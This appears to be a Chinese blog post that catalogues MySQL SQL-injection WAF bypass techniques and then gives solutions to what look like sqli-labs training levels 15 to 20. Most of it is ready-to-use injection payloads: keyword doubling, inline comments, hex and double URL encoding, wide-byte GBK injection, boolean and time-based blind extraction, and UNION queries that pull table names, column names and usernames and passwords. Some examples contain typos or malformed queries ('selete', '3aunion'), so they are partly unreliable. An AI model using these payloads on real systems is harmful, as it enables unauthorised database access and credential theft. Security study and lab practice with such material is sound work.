mysql 16进制 绕过_SQL注入WAF绕过

本文详细介绍了多种SQL注入技巧及其绕过方法,包括大小写绕过、空格绕过、URL编码绕过等,并提供了具体的payload示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL注入WAF绕过

(1)大小写绕过

此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。

(2)替换关键字

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

(3)空格绕过

payload

select/**/*/**/from/**/yz;

select%0a*%0afrom%0ayz; %0a 是回车

select(a)from(yz);

select(a)from(yz)where(a=1);

(4) 内联注释

有些WAF的过滤关键词像/union\sselect/g,就比如上面说的,很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字,我们就要进一步分离这两个词来绕过这个过滤器。

id=1/*!UnIoN*/SeLeCT

/*!select*//*!**//*!from*//*!yz*/;

(5)替换关键字

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

SELselectECT 1,2,3,4

(6)URL编码

有时后台界面会再次URL解码所以这时可以利用二次编码解决问题

后台语句

$insert=$link->query(urldecode($_GET['id']));

$row=$insert->fetch_row();

select * from yz

select * from %2579%257a

(7)十六进制绕过(引号绕过)

select a from yz where b=0x32;

select * from yz where b=char(0x32);

select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)

select column_name from information_schema.tables where table_name="users"

select column_name from information_schema.tables where table_name=0x7573657273

(8)逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。

substr(),mid()

mid(user() from 1 for 1)

substr(user() from 1 for 1)

select substr(user()from -1) from yz ;

select ascii(substr(user() from 1 for 1)) < 150;

同时也可以利用替换函数

select left(database(),2)>'tf';

selete * from testtable limit 2,1;

selete * from testtable limit 2 offset 1;

(9)比较符()绕过

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

select strcmp(left(database(),1),0x32);#lpad('asd',2,0)

if(substr(id,1,1)in(0x41),1,3)

-- 新学习了一种骚骚的注入姿势in、between、order by

select * from yz where a in ('aaa');

select substr(a,1,1) in ('a') from yz ;

select * from yz where a between 'a' and 'b';

select * from yz where a between 0x89 and 0x90;

select * from yz union select 1,2,3 order by 1;

-- 也可以用like,根据排列顺序进行真值判断

(10)注释符绕过

在注入时的注释符一般为# --当两者不能用时就不能闭合引号

这里介绍一个奇淫巧技

select 1,2,3 from yz where '1'/1=(1=1)/'1'='1'

(1=1)中就有了判断位为下面的注入打下基础

(11)宽字节绕过

字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

注:select防止用户自定义的名称和mysql保留字冲突

(12)with rollup

一般结合group by使用

select 1 as test from yz group by test with rollup limit 1 offset 1;

+------+

| test |

+------+

| NULL |

+------+

(13)无列名注入

给未知列名起别名

select a from (select 1,2,3aunion select * from yz)v;

(14) 判断列数绕过

当order by 被过滤后就可以使用into 变量来绕过

select * from yz limit 1,1 into @a,@b,@c;

mysql数据库查询语句

select database(); #查选数据库

select group_concat(schema_name) from information_schema.schemata

select schema_name from information_schema.schemata limit 0,1 #查询数据库

select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表

select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列

### SQL注入第15至20关解法详解 #### 关卡15:基于布尔盲注的数据库名获取 在这一关中,目标是从 `information_schema` 表中提取当前使用的数据库名称。可以通过逐字符猜测的方式实现布尔盲注攻击。具体方法如下: 通过构造条件语句来判断每个字符是否匹配预期值。例如: ```sql ?id=1' AND SUBSTRING((SELECT database()), 1, 1) = 't' -- ``` 上述查询会验证数据库的第一个字母是否为 `'t'`[^1]。 如果返回页面正常,则说明该字符正确;反之则错误。逐步增加字符串长度即可还原整个数据库名称。 --- #### 关卡16:利用时间延迟进行盲注 此关要求使用基于时间的盲注技术。可以借助 MySQL 的 `SLEEP()` 函数让服务器响应延时特定秒数。例如: ```sql ?id=1' AND IF(SUBSTRING((SELECT database()), 1, 1)='s', SLEEP(5), NULL) --+ ``` 当条件成立时,服务器将暂停 5 秒再继续处理请求。通过对不同位置上的字符逐一测试,最终可拼凑出完整的数据库名称[^3]。 --- #### 关卡17:表名枚举与过滤器应用 本关涉及从 `information_schema.tables` 中检索可用表的信息。为了防止直接暴露敏感数据,通常需要绕过某些限制措施。一种常见做法是采用十六进制编码规避关键字检测机制。比如: ```sql ?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()-- ``` 这里运用了 `GROUP_CONCAT()` 将多个结果合并成单个字段显示出来[^2]。 --- #### 关卡18:列名探测及其内容读取 一旦确认目标表之后,下一步便是找出其中包含哪些有用列以及它们的内容是什么。同样地,我们可以沿用之前提到过的技巧——即先列出所有可能候选对象然后再分别尝试访问其内部存储的数据项。示例代码片段如下所示: ```sql ?id=-1 UNION ALL SELECT null,column_name,null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273--+ ``` 此处我们将表名字转换成了对应的 ASCII 编码形式以便避开潜在的安全防护策略。 --- #### 关卡19:联合查询中的高级技巧 有时候单纯依靠简单的 Union Select 并不足以完成任务,这时就需要考虑更加复杂的场景设计。假设存在两个独立但相互关联的数据集 A 和 B ,我们希望同时展示来自两者的记录而无需改变原有逻辑结构的话,那么就可以引入交叉连接的概念来进行操作 。例如 : ```sql ?id=1' UNION ALL SELECT username,password FROM users CROSS JOIN (SELECT id FROM orders LIMIT 1 OFFSET 0 ) AS t --+ ``` 这样做的好处在于即使原始应用程序只允许单一输入源也能巧妙突破局限性从而达到目的. --- #### 关卡20:绕过 WAF 防护层 最后,在面对较为严格 Web 应用防火墙(WAF)的情况下,灵活调整语法表达方式显得尤为重要。除了前面提及到的一些基本手段之外还可以采取诸如大小写混合书写、添加冗余括号或者替换同义命令词组等方式进一步降低被识别概率。实例演示如下: ```sql ?Id=1/**/Or/**/(SeLeCt/**/UsEr())/**/=/**/'root'# ``` 这种模糊化处理有助于迷惑自动化扫描工具使其难以准确判定意图所在。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值